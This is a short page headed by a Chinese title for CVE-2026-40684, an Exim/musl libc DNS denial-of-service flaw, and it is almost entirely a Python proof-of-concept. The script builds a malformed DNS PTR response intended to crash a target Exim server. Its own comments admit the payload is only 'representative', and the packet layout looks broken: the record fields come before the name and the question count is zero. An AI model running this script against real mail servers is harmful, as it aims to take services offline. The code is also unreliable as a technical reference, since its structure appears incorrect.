CVE-2026-40684 Exim musl libc DNS解析拒绝服务漏洞

import socket import struct # This script simulates a crafted DNS response targeting Exim's dn_expand handling. # It sends a malformed PTR record response intended to trigger the crash. def create_malformed_dns_packet(transaction_id): # DNS Header: ID=tx_id, Flags=Response, Questions=0, Answers=1, Authority=0, Additional=0 header = struct.pack('!HHHHHH', transaction_id, 0x8180, 0, 1, 0, 0) # Query section (omitted for brevity in PoC, assuming response to specific query) # Answer section: Malformed PTR record triggering dn_expand octal issue # Format: Name(2 bytes), Type(2), Class(2), TTL(4), DataLen(2), RData # The specific octal sequence causing the dn_expand oddity in musl libc # This is a representative payload based on the vulnerability description. malformed_name = b'\x01\x00' # Pointer or label length causing issue type_ptr = 0x000c class_in = 0x0001 ttl = 3600 data_len = 0x0004 rdata = b'\xff\xff\xff\xff' answer = struct.pack('!HHIH', type_ptr, class_in, ttl, data_len) + malformed_name + rdata return header + answer # Usage: Run this as a malicious DNS server or inject the packet def main(): print("[+] Generating PoC packet for CVE-2026-40684") packet = create_malformed_dns_packet(12345) print(f"[+] Packet length: {len(packet)} bytes") print("[!] This packet should be sent to the target Exim server as a DNS response.") if __name__ == "__main__": main()